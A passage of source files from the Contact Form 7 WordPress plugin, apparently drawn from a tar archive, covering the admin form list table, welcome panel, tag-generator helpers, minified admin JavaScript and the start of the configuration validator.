	private function insert_box_content( $options = '' ) {
?>
<div class="flex-container">
	<?php
		echo sprintf(
			'<input %s />',
			wpcf7_format_atts( array(
				'type' => 'text',
				'class' => 'code',
				'readonly' => true,
				'onfocus' => 'this.select();',
				'data-tag-part' => 'tag',
				'aria-label' => __( "The form-tag to be inserted into the form template", 'contact-form-7' ),
			) )
		);
	?>
	<button type="button" class="button button-primary" data-taggen="insert-tag"><?php echo esc_html( __( 'Insert Tag', 'contact-form-7' ) ); ?></button>
</div>
<?php
	}


	/**
	 * Template method for a tip message about mail-tag.
	 */
	private function mail_tag_tip( $options = '' ) {
		$tip = sprintf(
			/* translators: %s: mail-tag corresponding to the form-tag */
			esc_html( __( 'To use the user input in the email, insert the corresponding mail-tag %s into the email template.', 'contact-form-7' ) ),
			'<strong data-tag-part="mail-tag"></strong>'
		);

?>
<p class="mail-tag-tip"><?php echo $tip; ?></p>
<?php
	}

}
contact-form-7/admin/includes/class-contact-forms-list-table.php000064400000013323147510273060020642 0ustar00<?php

if ( ! class_exists( 'WP_List_Table' ) ) {
	require_once( ABSPATH . 'wp-admin/includes/class-wp-list-table.php' );
}

class WPCF7_Contact_Form_List_Table extends WP_List_Table {

	public static function define_columns() {
		$columns = array(
			'cb' => '<input type="checkbox" />',
			'title' => __( 'Title', 'contact-form-7' ),
			'shortcode' => __( 'Shortcode', 'contact-form-7' ),
			'author' => __( 'Author', 'contact-form-7' ),
			'date' => __( 'Date', 'contact-form-7' ),
		);

		return $columns;
	}

	public function __construct() {
		parent::__construct( array(
			'singular' => 'post',
			'plural' => 'posts',
			'ajax' => false,
		) );
	}

	public function prepare_items() {
		$current_screen = get_current_screen();
		$per_page = $this->get_items_per_page( 'wpcf7_contact_forms_per_page' );

		$args = array(
			'posts_per_page' => $per_page,
			'orderby' => 'title',
			'order' => 'ASC',
			'offset' => ( $this->get_pagenum() - 1 ) * $per_page,
		);

		if ( ! empty( $_REQUEST['s'] ) ) {
			$args['s'] = $_REQUEST['s'];
		}

		if ( ! empty( $_REQUEST['orderby'] ) ) {
			if ( 'title' == $_REQUEST['orderby'] ) {
				$args['orderby'] = 'title';
			} elseif ( 'author' == $_REQUEST['orderby'] ) {
				$args['orderby'] = 'author';
			} elseif ( 'date' == $_REQUEST['orderby'] ) {
				$args['orderby'] = 'date';
			}
		}

		if ( ! empty( $_REQUEST['order'] ) ) {
			if ( 'asc' == strtolower( $_REQUEST['order'] ) ) {
				$args['order'] = 'ASC';
			} elseif ( 'desc' == strtolower( $_REQUEST['order'] ) ) {
				$args['order'] = 'DESC';
			}
		}

		$this->items = WPCF7_ContactForm::find( $args );

		$total_items = WPCF7_ContactForm::count();
		$total_pages = ceil( $total_items / $per_page );

		$this->set_pagination_args( array(
			'total_items' => $total_items,
			'total_pages' => $total_pages,
			'per_page' => $per_page,
		) );
	}

	public function get_columns() {
		return get_column_headers( get_current_screen() );
	}

	protected function get_sortable_columns() {
		$columns = array(
			'title' => array( 'title', true ),
			'author' => array( 'author', false ),
			'date' => array( 'date', false ),
		);

		return $columns;
	}

	protected function get_bulk_actions() {
		$actions = array(
			'delete' => __( 'Delete', 'contact-form-7' ),
		);

		return $actions;
	}

	protected function column_default( $item, $column_name ) {
		return '';
	}

	public function column_cb( $item ) {
		return sprintf(
			'<input type="checkbox" name="%1$s[]" value="%2$s" />',
			$this->_args['singular'],
			$item->id()
		);
	}

	public function column_title( $item ) {
		$edit_link = add_query_arg(
			array(
				'post' => absint( $item->id() ),
				'action' => 'edit',
			),
			menu_page_url( 'wpcf7', false )
		);

		$output = sprintf(
			'<a class="row-title" href="%1$s" aria-label="%2$s">%3$s</a>',
			esc_url( $edit_link ),
			esc_attr( sprintf(
				/* translators: %s: title of contact form */
				__( 'Edit &#8220;%s&#8221;', 'contact-form-7' ),
				$item->title()
			) ),
			esc_html( $item->title() )
		);

		$output = sprintf( '<strong>%s</strong>', $output );

		if ( wpcf7_validate_configuration()
		and current_user_can( 'wpcf7_edit_contact_form', $item->id() ) ) {
			$config_validator = new WPCF7_ConfigValidator( $item );
			$config_validator->restore();

			if ( $count_errors = $config_validator->count_errors() ) {
				$error_notice = sprintf(
					_n(
						/* translators: %s: number of errors detected */
						'%s configuration error detected',
						'%s configuration errors detected',
						$count_errors, 'contact-form-7' ),
					number_format_i18n( $count_errors )
				);

				$output .= sprintf(
					'<div class="config-error"><span class="icon-in-circle" aria-hidden="true">!</span> %s</div>',
					$error_notice
				);
			}
		}

		return $output;
	}

	protected function handle_row_actions( $item, $column_name, $primary ) {
		if ( $column_name !== $primary ) {
			return '';
		}

		$edit_link = add_query_arg(
			array(
				'post' => absint( $item->id() ),
				'action' => 'edit',
			),
			menu_page_url( 'wpcf7', false )
		);

		$actions = array(
			'edit' => wpcf7_link( $edit_link, __( 'Edit', 'contact-form-7' ) ),
		);

		if ( current_user_can( 'wpcf7_edit_contact_form', $item->id() ) ) {
			$copy_link = add_query_arg(
				array(
					'post' => absint( $item->id() ),
					'action' => 'copy',
				),
				menu_page_url( 'wpcf7', false )
			);

			$copy_link = wp_nonce_url(
				$copy_link,
				'wpcf7-copy-contact-form_' . absint( $item->id() )
			);

			$actions = array_merge( $actions, array(
				'copy' => wpcf7_link( $copy_link, __( 'Duplicate', 'contact-form-7' ) ),
			) );
		}

		return $this->row_actions( $actions );
	}

	public function column_author( $item ) {
		$post = get_post( $item->id() );

		if ( ! $post ) {
			return;
		}

		$author = get_userdata( $post->post_author );

		if ( false === $author ) {
			return;
		}

		return esc_html( $author->display_name );
	}

	public function column_shortcode( $item ) {
		$shortcodes = array( $item->shortcode() );

		$output = '';

		foreach ( $shortcodes as $shortcode ) {
			$output .= "\n" . '<span class="shortcode"><input type="text"'
				. ' onfocus="this.select();" readonly="readonly"'
				. ' value="' . esc_attr( $shortcode ) . '"'
				. ' class="large-text code" /></span>';
		}

		return trim( $output );
	}

	public function column_date( $item ) {
		$datetime = get_post_datetime( $item->id() );

		if ( false === $datetime ) {
			return '';
		}

		$t_time = sprintf(
			/* translators: 1: date, 2: time */
			__( '%1$s at %2$s', 'contact-form-7' ),
			/* translators: date format, see https://www.php.net/date */
			$datetime->format( __( 'Y/m/d', 'contact-form-7' ) ),
			/* translators: time format, see https://www.php.net/date */
			$datetime->format( __( 'g:i a', 'contact-form-7' ) )
		);

		return $t_time;
	}
}
contact-form-7/admin/includes/welcome-panel.php000064400000020673147510273060015460 0ustar00<?php

abstract class WPCF7_WelcomePanelColumn {

	abstract protected function icon();
	abstract protected function title();
	abstract protected function content();

	public function print_content() {
		$icon = sprintf(
			'<span class="dashicons dashicons-%s" aria-hidden="true"></span>',
			esc_attr( $this->icon() )
		);

		$title = sprintf(
			'<h3>%1$s %2$s</h3>',
			$icon,
			$this->title()
		);

		$content = $this->content();

		if ( is_array( $content ) ) {
			$content = implode( "\n\n", $content );
		}

		$content = wp_kses_post( $content );
		$content = wptexturize( $content );
		$content = convert_chars( $content );
		$content = wpautop( $content );

		echo "\n";
		echo '<div class="welcome-panel-column">';
		echo $title;
		echo $content;
		echo '</div>';
	}
}


class WPCF7_WelcomePanelColumn_AntiSpam extends WPCF7_WelcomePanelColumn {

	protected function icon() {
		return 'shield';
	}

	protected function title() {
		return esc_html(
			__( "Getting spammed? You have protection.", 'contact-form-7' )
		);
	}

	protected function content() {
		return array(
			esc_html( __( "Spammers target everything; your contact forms are not an exception. Before you get spammed, protect your contact forms with the powerful anti-spam features Contact Form 7 provides.", 'contact-form-7' ) ),
			sprintf(
				/* translators: links labeled 1: 'Akismet', 2: 'reCAPTCHA', 3: 'disallowed list' */
				esc_html( __( 'Contact Form 7 supports spam-filtering with %1$s. Intelligent %2$s blocks annoying spambots. Plus, using %3$s, you can block messages containing specified keywords or those sent from specified IP addresses.', 'contact-form-7' ) ),
				wpcf7_link(
					__( 'https://contactform7.com/spam-filtering-with-akismet/', 'contact-form-7' ),
					__( 'Akismet', 'contact-form-7' )
				),
				wpcf7_link(
					__( 'https://contactform7.com/recaptcha/', 'contact-form-7' ),
					__( 'reCAPTCHA', 'contact-form-7' )
				),
				wpcf7_link(
					__( 'https://contactform7.com/comment-blacklist/', 'contact-form-7' ),
					__( 'disallowed list', 'contact-form-7' )
				)
			),
		);
	}
}


class WPCF7_WelcomePanelColumn_Donation extends WPCF7_WelcomePanelColumn {

	protected function icon() {
		return 'megaphone';
	}

	protected function title() {
		return esc_html(
			__( "Contact Form 7 needs your support.", 'contact-form-7' )
		);
	}

	protected function content() {
		return array(
			esc_html( __( "It is hard to continue to maintain this plugin without support from users like you.", 'contact-form-7' ) ),
			sprintf(
				/* translators: %s: link labeled 'contribute to the project' */
				esc_html( __( 'There are several ways for you to %s: testing, coding, translating it into your local languages, helping other users, financial donations, etc, etc. We equally welcome you regardless of the way you contribute.', 'contact-form-7' ) ),
				wpcf7_link(
					__( 'https://contactform7.com/contributing/', 'contact-form-7' ),
					__( 'contribute to the project', 'contact-form-7' )
				)
			),
		);
	}
}


class WPCF7_WelcomePanelColumn_Flamingo extends WPCF7_WelcomePanelColumn {

	protected function icon() {
		return 'editor-help';
	}

	protected function title() {
		return esc_html(
			__( "Before you cry over spilt mail&#8230;", 'contact-form-7' )
		);
	}

	protected function content() {
		return array(
			esc_html( __( "Contact Form 7 does not store submitted messages anywhere. Therefore, you may lose important messages forever if your mail server has issues or you make a mistake in mail configuration.", 'contact-form-7' ) ),
			sprintf(
				/* translators: %s: link labeled 'Flamingo' */
				esc_html( __( 'Install a message storage plugin before this happens to you. %s saves all messages through contact forms into the database. Flamingo is a free WordPress plugin created by the same author as Contact Form 7.', 'contact-form-7' ) ),
				wpcf7_link(
					__( 'https://contactform7.com/save-submitted-messages-with-flamingo/', 'contact-form-7' ),
					__( 'Flamingo', 'contact-form-7' )
				)
			),
		);
	}
}


class WPCF7_WelcomePanelColumn_Integration extends WPCF7_WelcomePanelColumn {

	protected function icon() {
		return 'superhero-alt';
	}

	protected function title() {
		return esc_html(
			__( "You have strong allies to back you up.", 'contact-form-7' )
		);
	}

	protected function content() {
		return array(
			sprintf(
				/* translators: 1: link labeled 'Brevo' */
				esc_html( __( 'Your contact forms will become more powerful and versatile by integrating them with external APIs. With CRM and email marketing services, you can build your own contact lists (%1$s).', 'contact-form-7' ) ),
				wpcf7_link(
					__( 'https://contactform7.com/sendinblue-integration/', 'contact-form-7' ),
					__( 'Brevo', 'contact-form-7' )
				)
			),
			sprintf(
				/* translators: 1: link labeled 'reCAPTCHA', 2: link labeled 'Stripe' */
				esc_html( __( 'With help from cloud-based machine learning, anti-spam services will protect your forms (%1$s). Even payment services are natively supported (%2$s).', 'contact-form-7' ) ),
				wpcf7_link(
					__( 'https://contactform7.com/recaptcha/', 'contact-form-7' ),
					__( 'reCAPTCHA', 'contact-form-7' )
				),
				wpcf7_link(
					__( 'https://contactform7.com/stripe-integration/', 'contact-form-7' ),
					__( 'Stripe', 'contact-form-7' )
				)
			),
		);
	}
}


function wpcf7_welcome_panel() {
	$columns = array();

	$flamingo_is_active = defined( 'FLAMINGO_VERSION' );

	$sendinblue_is_active = false;

	if ( class_exists( 'WPCF7_Sendinblue' )
	and $sendinblue = WPCF7_Sendinblue::get_instance() ) {
		$sendinblue_is_active = $sendinblue->is_active();
	}

	if ( $flamingo_is_active and $sendinblue_is_active ) {
		$columns[] = new WPCF7_WelcomePanelColumn_AntiSpam();
		$columns[] = new WPCF7_WelcomePanelColumn_Donation();
	} elseif ( $flamingo_is_active ) {
		$columns[] = new WPCF7_WelcomePanelColumn_Integration();
		$columns[] = new WPCF7_WelcomePanelColumn_AntiSpam();
	} elseif ( $sendinblue_is_active ) {
		$columns[] = new WPCF7_WelcomePanelColumn_Flamingo();
		$columns[] = new WPCF7_WelcomePanelColumn_AntiSpam();
	} else {
		$columns[] = new WPCF7_WelcomePanelColumn_Flamingo();
		$columns[] = new WPCF7_WelcomePanelColumn_Integration();
	}

	$classes = 'wpcf7-welcome-panel';

	$vers = (array) get_user_meta( get_current_user_id(),
		'wpcf7_hide_welcome_panel_on', true
	);

	if ( wpcf7_version_grep( wpcf7_version( 'only_major=1' ), $vers ) ) {
		$classes .= ' hidden';
	}

?>
<div id="wpcf7-welcome-panel" class="<?php echo esc_attr( $classes ); ?>">
	<?php wp_nonce_field( 'wpcf7-welcome-panel-nonce', 'welcomepanelnonce', false ); ?>
	<a class="welcome-panel-close" href="<?php echo esc_url( menu_page_url( 'wpcf7', false ) ); ?>"><?php echo esc_html( __( 'Dismiss', 'contact-form-7' ) ); ?></a>

	<div class="welcome-panel-content">
		<div class="welcome-panel-column-container">
<?php

	foreach ( $columns as $column ) {
		$column->print_content();
	}

?>
		</div>
	</div>
</div>
<?php
}


add_action(
	'wp_ajax_wpcf7-update-welcome-panel',
	'wpcf7_admin_ajax_welcome_panel',
	10, 0
);

function wpcf7_admin_ajax_welcome_panel() {
	check_ajax_referer( 'wpcf7-welcome-panel-nonce', 'welcomepanelnonce' );

	$vers = get_user_meta( get_current_user_id(),
		'wpcf7_hide_welcome_panel_on', true
	);

	if ( empty( $vers ) or ! is_array( $vers ) ) {
		$vers = array();
	}

	if ( empty( $_POST['visible'] ) ) {
		$vers[] = wpcf7_version( 'only_major=1' );
	} else {
		$vers = array_diff( $vers, array( wpcf7_version( 'only_major=1' ) ) );
	}

	$vers = array_unique( $vers );

	update_user_meta( get_current_user_id(),
		'wpcf7_hide_welcome_panel_on', $vers
	);

	wp_die( 1 );
}


add_filter(
	'screen_settings',
	'wpcf7_welcome_panel_screen_settings',
	10, 2
);

function wpcf7_welcome_panel_screen_settings( $screen_settings, $screen ) {

	if ( 'toplevel_page_wpcf7' !== $screen->id ) {
		return $screen_settings;
	}

	$vers = (array) get_user_meta( get_current_user_id(),
		'wpcf7_hide_welcome_panel_on', true
	);

	$checkbox_id = 'wpcf7-welcome-panel-show';
	$checked = ! in_array( wpcf7_version( 'only_major=1' ), $vers );

	$checkbox = sprintf(
		'<input %s />',
		wpcf7_format_atts( array(
			'id' => $checkbox_id,
			'type' => 'checkbox',
			'checked' => $checked,
		) )
	);

	$screen_settings .= sprintf( '
<fieldset class="wpcf7-welcome-panel-options">
<legend>%1$s</legend>
<label for="%2$s">%3$s %4$s</label>
</fieldset>',
 		esc_html( __( 'Welcome panel', 'contact-form-7' ) ),
		esc_attr( $checkbox_id ),
		$checkbox,
		esc_html( __( 'Show welcome panel', 'contact-form-7' ) )
	);

	return $screen_settings;
}
contact-form-7/admin/includes/js/index.js000064400000031114147510273060014270 0ustar00(()=>{"use strict";var e={n:t=>{var a=t&&t.__esModule?()=>t.default:()=>t;return e.d(a,{a}),a},d:(t,a)=>{for(var r in a)e.o(a,r)&&!e.o(t,r)&&Object.defineProperty(t,r,{enumerable:!0,get:a[r]})},o:(e,t)=>Object.prototype.hasOwnProperty.call(e,t)};const t=window.wp.i18n,a=e=>{e&&document.querySelector(`.contact-form-editor-panel#${e}`)&&(document.querySelector("#contact-form-editor")?.setAttribute("data-active-tab",e),document.querySelectorAll('input[name="active-tab"]').forEach((t=>{t.value=e})),document.querySelectorAll("#contact-form-editor-tabs li").forEach((t=>{t.dataset?.panel===e?(t.classList.add("active"),t.setAttribute("tabindex","0"),t.focus()):(t.classList.remove("active"),t.setAttribute("tabindex","-1"))})),document.querySelectorAll(".contact-form-editor-panel").forEach((t=>{t.id===e?(t.classList.add("active"),t.style.setProperty("display","block")):(t.classList.remove("active"),t.style.setProperty("display","none"))})))},r=window.wp.apiFetch;var c=e.n(r);const o=e=>{const t=document.createElement("span");return t.classList.add("icon-in-circle"),t.setAttribute("aria-hidden","true"),t.append(e),t},n=e=>e.replace(/[^0-9a-z]+/gi,"-"),l=e=>{const t=document.querySelector(`#${e.dataset?.toggle}`);t&&(e.checked?t.classList.remove("hidden"):t.classList.add("hidden"))},i=()=>{document.querySelectorAll("#contact-form-editor .config-error, #misc-publishing-actions .config-error").forEach((e=>{e.remove()})),document.querySelectorAll("#contact-form-editor [data-config-field]").forEach((e=>{const t=e.dataset.configField;d(t).length?(e.setAttribute("aria-invalid","true"),e.setAttribute("aria-describedby",n(`wpcf7-config-error-for-${t}`)),e.after(u(t))):e.removeAttribute("aria-invalid")})),document.querySelectorAll("#contact-form-editor-tabs [data-panel]").forEach((e=>{e.querySelectorAll(".icon-in-circle").forEach((e=>{e.remove()})),s(e.dataset.panel)&&e.querySelector("a")?.append(o("!"))}));let e=0;if(document.querySelectorAll("#contact-form-editor .contact-form-editor-panel").forEach((a=>{const r=s(a.id);if(r){e+=r;const c=document.createElement("div");c.classList.add("config-error"),c.append(o("!"),(0,t.sprintf)((0,t._n)("%d configuration error detected in this tab panel.","%d configuration errors detected in this tab panel.",r,"contact-form-7"),r)),a.prepend(c)}})),e){const a=document.createElement("div");a.classList.add("misc-pub-section","config-error");const r=document.createElement("a");r.setAttribute("href",wpcf7.configValidator.docUrl),r.append((0,t.__)("How to resolve?","contact-form-7")),a.append(o("!"),(0,t.sprintf)((0,t._n)("%d configuration error detected.","%d configuration errors detected.",e,"contact-form-7"),e),document.createElement("br"),r),document.querySelector("#misc-publishing-actions")?.append(a)}},s=e=>document.querySelectorAll(`#${e} ul.config-error li`)?.length,d=e=>{const t=[];for(const a in wpcf7.configValidator.errors)a===e&&t.push(...wpcf7.configValidator.errors[a]);return t},u=e=>{if(!e)return"";const t=document.createElement("ul");return t.setAttribute("id",n(`wpcf7-config-error-for-${e}`)),t.classList.add("config-error"),d(e).forEach((e=>{if(!e.message)return;const a=document.createElement("li");if(a.append(o("!")),e.link){const t=document.createElement("a");t.setAttribute("href",e.link),t.append(e.message),a.append(" ",t)}else a.append(" ",e.message);t.append(a)})),t},m=document.querySelector("#wpcf7-welcome-panel"),p=e=>{const t=m.querySelector("#welcomepanelnonce")?.value;if(!t)return;const a=new FormData;a.append("action","wpcf7-update-welcome-panel"),a.append("visible",e),a.append("welcomepanelnonce",t),fetch(new Request(ajaxurl,{method:"POST",body:a})),e?m.classList.remove("hidden"):m.classList.add("hidden")},f=e=>{var t;const a=e.dataset.id,r=e.querySelector('[name="name"]');let c=null!==(t=r?.value.trim())&&void 0!==t?t:"";r&&(c||(c=`${a}-${Math.floor(1e3*Math.random())}`),r.value=c),e.querySelectorAll(".tag").forEach((t=>{const a=e.querySelector('[name="tagtype"]')?.value||t.name;a&&(t.value=v(a,e))})),e.querySelectorAll("span.mail-tag").forEach((e=>{e.innerText=`[${c}]`})),e.querySelectorAll("input.mail-tag").forEach((e=>{e.value=`[${c}]`}))},v=(e,t)=>{var a,r,c;const o=null!==(a=t.querySelector(`.scope.${e}`))&&void 0!==a?a:t,n=e+(t.querySelector('[name="required"]:checked')?"*":""),l=null!==(r=t.querySelector('[name="name"]')?.value)&&void 0!==r?r:"",i=[];o.querySelectorAll(".option").forEach((e=>{"checkbox"===e.type?e.checked&&i.push(e.name):"radio"===e.type?e.checked&&!e.classList.contains("default")&&i.push(`${e.name}:${e.value}`):""!==e.value&&(e.classList.contains("filetype")?i.push(`${e.name}:${e.value.split(/[,|\s]+/).join("|")}`):e.classList.contains("color")?i.push(`${e.name}:#${e.value}`):"class"===e.name?e.value.split(" ").forEach((e=>{i.push(`class:${e}`)})):i.push(`${e.name}:${e.value}`))})),"radio"===e&&i.push("default:1");const s=null!==(c=o.querySelector('[name="values"]')?.value.split("\n").map((e=>e.trim())).filter((e=>""!==e)).map((e=>`"${e.replace(/["]/g,"&quot;")}"`)))&&void 0!==c?c:[],d=[n,l,i.join(" "),s.join(" ")].map((e=>e.trim())).filter((e=>""!==e)),u=o.querySelector('[name="content"]')?.value.trim();return u?`[${d.join(" ")}] ${u} [/${n}]`:`[${d.join(" ")}]`},g=e=>{const t=h(e);t?(e.querySelectorAll('[data-tag-part="tag"]').forEach((e=>{e.value=t})),e.querySelectorAll('[data-taggen="insert-tag"]').forEach((e=>{e.disabled=!1})),e.querySelectorAll('[data-tag-part="mail-tag"]').forEach((t=>{const a=e.querySelector('[data-tag-part="name"]');a&&(t.innerText=`[${a.value.trim()}]`)}))):(e.querySelectorAll('[data-tag-part="tag"]').forEach((e=>{e.value=""})),e.querySelectorAll('[data-taggen="insert-tag"]').forEach((e=>{e.disabled=!0})))},h=e=>{var t,a;const r=e.querySelector('[data-tag-part="basetype"]')?.value.trim();if(!r)return;if(e.querySelector(":invalid"))return;let c=r;const o=e.querySelector('[data-tag-part="type-suffix"]');o&&(["checkbox","radio"].includes(o?.type)?c+=o.checked?o.value.trim():"":c+=o.value.trim());const n=e.querySelector('[data-tag-part="name"]');let l=null!==(t=n?.value.trim())&&void 0!==t?t:"";n&&(l||(l=`${r}-${Math.floor(1e3*Math.random())}`),n.value=l);const i=[];e.querySelectorAll('[data-tag-part="option"]').forEach((e=>{const t=e.dataset.tagOption?.trim();t&&(["checkbox","radio"].includes(e?.type)&&!e.checked||t.split(" ").forEach((t=>{t.endsWith(":")?e.value?.split(" ").forEach((e=>{(e=e.trim())&&i.push(t+e)})):i.push(t)})))}));const s=null!==(a=e.querySelector('[data-tag-part="value"]')?.value.split("\n").map((e=>e.trim())).filter((e=>""!==e)).map((e=>`"${e.replace(/["]/g,"&quot;")}"`)))&&void 0!==a?a:[],d=[c,l,i.join(" "),s.join(" ")].map((e=>e.trim())).filter((e=>""!==e)),u=e.querySelector('[data-tag-part="content"]')?.value.trim();return u?`[${d.join(" ")}] ${u} [/${c}]`:`[${d.join(" ")}]`},y=e=>{const t=document.querySelector("#wpcf7-admin-form-element");if(!t)return;let a=!1;t.querySelectorAll("input, textarea, select").forEach((e=>{if(!a)switch(e.type){case"button":case"hidden":case"image":case"reset":case"search":case"submit":break;case"checkbox":case"radio":a=e.defaultChecked!==e.checked;break;case"select-multiple":case"select-one":e.querySelectorAll("option").forEach((e=>{a||e.defaultSelected===e.selected||(a=!0)}));break;default:a=e.defaultValue!==e.value}})),a&&e.preventDefault()};document.addEventListener("DOMContentLoaded",(e=>{document.querySelectorAll("#contact-form-editor-tabs li").forEach((e=>{e.addEventListener("click",(t=>{a(e.dataset?.panel),t.preventDefault()})),e.addEventListener("keyup",(t=>{if(["ArrowDown","ArrowRight"].includes(t.key)){const t=e.nextElementSibling;t&&a(t.dataset?.panel)}if(["ArrowUp","ArrowLeft"].includes(t.key)){const t=e.previousElementSibling;t&&a(t.dataset?.panel)}}))})),document.querySelectorAll(".contact-form-editor-panel").forEach((e=>{e.classList.contains("active")?document.querySelector("#contact-form-editor")?.setAttribute("data-active-tab",e.id):e.style.setProperty("display","none")})),document.querySelectorAll("#contact-form-editor [data-config-field]").forEach((e=>{e.addEventListener("change",(e=>{const t=document.querySelector('[name="post_ID"]')?.value;t&&0<t&&(e=>{const{namespace:t}=wpcf7.apiSettings,a=`/${t}/contact-forms/${e}`,r=new FormData;document.querySelectorAll("#contact-form-editor [data-config-field]").forEach((e=>{const t=e.name?.replace(/^wpcf7-/,"").replace(/-/g,"_");if(!t)return;let a;["checkbox","radio"].includes(e.type)?e.checked&&(a=e.value):a=e.value,void 0!==a&&(t.endsWith("[]")?r.append(t,a):r.set(t,a))})),r.set("context","dry-run"),c()({path:a,method:"POST",body:r}).then((e=>{wpcf7.configValidator.errors=e.config_errors,i()}))})(t)}))})),i(),(()=>{if(!m)return;const e=document.querySelector("#wpcf7-welcome-panel-show");m.querySelectorAll(".welcome-panel-close").forEach((t=>{t.addEventListener("click",(t=>{p(0),e?.removeAttribute("checked"),t.preventDefault()}))})),e?.addEventListener("click",(t=>{p(e?.checked?1:0)}))})(),document.querySelectorAll('[data-taggen="open-dialog"]').forEach((e=>{e.addEventListener("click",(t=>{const a=document.querySelector(`#${e.dataset.target}`);if(a){const e=a.querySelector("form.tag-generator-panel");e&&("1"===e.dataset.version?(e=>{f(e),e.querySelectorAll(".control-box").forEach((t=>{t.addEventListener("change",(t=>{var a;"name"===(a=t.target).name&&(a.value=a.value.replace(/[^0-9a-zA-Z:._-]/g,"").replace(/^[^a-zA-Z]+/,"")),a.classList.contains("numeric")&&(a.value=a.value.replace(/[^0-9.-]/g,"")),a.classList.contains("idvalue")&&(a.value=a.value.replace(/[^-0-9a-zA-Z_]/g,"")),a.classList.contains("classvalue")&&(a.value=a.value.split(" ").map((e=>e.replace(/[^-0-9a-zA-Z_]/g,""))).join(" ").replace(/\s+/g," ").trim()),a.classList.contains("color")&&(a.value=a.value.replace(/[^0-9a-fA-F]/g,"")),a.classList.contains("filesize")&&(a.value=a.value.replace(/[^0-9kKmMbB]/g,"")),a.classList.contains("filetype")&&(a.value=a.value.replace(/[^0-9a-zA-Z.,|\s]/g,"")),a.classList.contains("date")&&(a.value.match(/^\d{4}-\d{2}-\d{2}$/)||(a.value="")),"values"===a.name&&(a.value=a.value.trim()),f(e)}))}))})(e):"2"===e.dataset.version&&(e=>{var t;null!==(t=e.reset())&&void 0!==t||g(e),e.querySelectorAll(".control-box").forEach((t=>{t.addEventListener("change",(t=>{g(e)})),t.addEventListener("keyup",(t=>{var a;"text"!==(null!==(a=t.target.type)&&void 0!==a?a:"")&&"textarea"!==t.target.tagName?.toLowerCase()||g(e)}))}))})(e)),a.showModal()}}))})),document.querySelectorAll("dialog.tag-generator-dialog").forEach((e=>{e.querySelectorAll('[data-taggen="close-dialog"]').forEach((t=>{t.addEventListener("click",(t=>e.close("")))})),e.querySelectorAll('[data-taggen="insert-tag"], .insert-tag').forEach((t=>{t.addEventListener("click",(t=>{const a=e.querySelector('[data-tag-part="tag"], .tag');e.close(a?.value)}))})),e.addEventListener("close",(t=>{var a;const r=document.querySelector("textarea#wpcf7-form");if(null===r)return;if(""===e.returnValue)return;const c=null!==(a=r.selectionEnd)&&void 0!==a?a:0;0===c&&(e.returnValue+="\n\n"),r.value=r.value.substring(0,c)+e.returnValue+r.value.substring(c),r.selectionStart=c,r.selectionEnd=c+e.returnValue.length,r.focus()}))})),(()=>{const e=document.querySelector("#wpcf7-admin-form-element");e&&(window.addEventListener("beforeunload",y),e.addEventListener("submit",(e=>{e.submitter?.name&&"wpcf7-copy"===e.submitter.name||window.removeEventListener("beforeunload",y)})))})();const r=document.querySelector("input#title");r&&""===r.value&&r.focus(),document.querySelector("#wpcf7-admin-form-element")?.addEventListener("submit",(e=>{const a=document.querySelector('#wpcf7-admin-form-element [name="action"]'),r=document.querySelector('#wpcf7-admin-form-element [name="_wpnonce"]');"wpcf7-save"===e.submitter?.name&&(a&&(a.value="save"),r&&(r.value=wpcf7.nonce.save),document.querySelectorAll("#wpcf7-admin-form-element #publishing-action .spinner").forEach((e=>{e.classList.add("is-active")}))),"wpcf7-copy"===e.submitter?.name&&(a&&(a.value="copy"),r&&(r.value=wpcf7.nonce.copy)),"wpcf7-delete"===e.submitter?.name&&(window.confirm((0,t.__)("You are about to delete this contact form.\n  'Cancel' to stop, 'OK' to delete.","contact-form-7"))?(a&&(a.value="delete"),r&&(r.value=wpcf7.nonce.delete)):e.preventDefault())})),document.querySelectorAll(".contact-form-editor-box-mail span.mailtag").forEach((e=>{e.addEventListener("click",(t=>{const a=document.createRange();a.selectNodeContents(e),window.getSelection().addRange(a)}))})),document.querySelectorAll("[data-toggle]").forEach((e=>{l(e),e.addEventListener("change",(t=>{l(e)}))})),document.querySelectorAll("#wpcf7-ctct-enable-contact-list, #wpcf7-sendinblue-enable-contact-list, #wpcf7-sendinblue-enable-transactional-email").forEach((e=>{e.addEventListener("change",(t=>{e.checked?e.closest("tr").classList.remove("inactive"):e.closest("tr").classList.add("inactive")}))}))}))})();contact-form-7/admin/includes/js/index.asset.php000064400000000162147510273060015560 0ustar00<?php

return array(
	'dependencies' => array(
		'wp-api-fetch',
		'wp-i18n',
	),
	'version' => WPCF7_VERSION,
);
contact-form-7/admin/includes/config-validator.php000064400000006505147510273060016156 0ustar00<?php

add_action( 'wpcf7_admin_menu', 'wpcf7_admin_init_bulk_cv', 10, 0 );

function wpcf7_admin_init_bulk_cv() {
	if ( ! wpcf7_validate_configuration()
	or ! current_user_can( 'wpcf7_edit_contact_forms' ) ) {
		return;
	}

	$result = WPCF7::get_option( 'bulk_validate' );
	$last_important_update = WPCF7_ConfigValidator::last_important_update;

	if ( ! empty( $result['version'] )
	and version_compare( $last_important_update, $result['version'], '<=' ) ) {
		return;
	}

	add_filter( 'wpcf7_admin_menu_change_notice',
		'wpcf7_admin_menu_change_notice_bulk_cv',
		10, 1
	);

	add_action( 'wpcf7_admin_warnings',
		'wpcf7_admin_warnings_bulk_cv',
		5, 3
	);
}

function wpcf7_admin_menu_change_notice_bulk_cv( $counts ) {
	$counts['wpcf7'] += 1;
	return $counts;
}

function wpcf7_admin_warnings_bulk_cv( $page, $action, $object ) {
	if ( 'wpcf7' === $page and 'validate' === $action ) {
		return;
	}

	$link = wpcf7_link(
		add_query_arg(
			array( 'action' => 'validate' ),
			menu_page_url( 'wpcf7', false )
		),
		__( 'Validate Contact Form 7 Configuration', 'contact-form-7' )
	);

	$message = __( "Misconfiguration leads to mail delivery failure or other troubles. Validate your contact forms now.", 'contact-form-7' );

	wp_admin_notice(
		sprintf(
			'%1$s &raquo; %2$s',
			esc_html( $message ),
			$link
		),
		'type=warning'
	);
}

add_action( 'wpcf7_admin_load', 'wpcf7_load_bulk_validate_page', 10, 2 );

function wpcf7_load_bulk_validate_page( $page, $action ) {
	if ( 'wpcf7' != $page
	or 'validate' != $action
	or ! wpcf7_validate_configuration()
	or 'POST' != $_SERVER['REQUEST_METHOD'] ) {
		return;
	}

	check_admin_referer( 'wpcf7-bulk-validate' );

	if ( ! current_user_can( 'wpcf7_edit_contact_forms' ) ) {
		wp_die( __( "You are not allowed to validate configuration.", 'contact-form-7' ) );
	}

	$contact_forms = WPCF7_ContactForm::find();

	$result = array(
		'timestamp' => time(),
		'version' => WPCF7_VERSION,
		'count_valid' => 0,
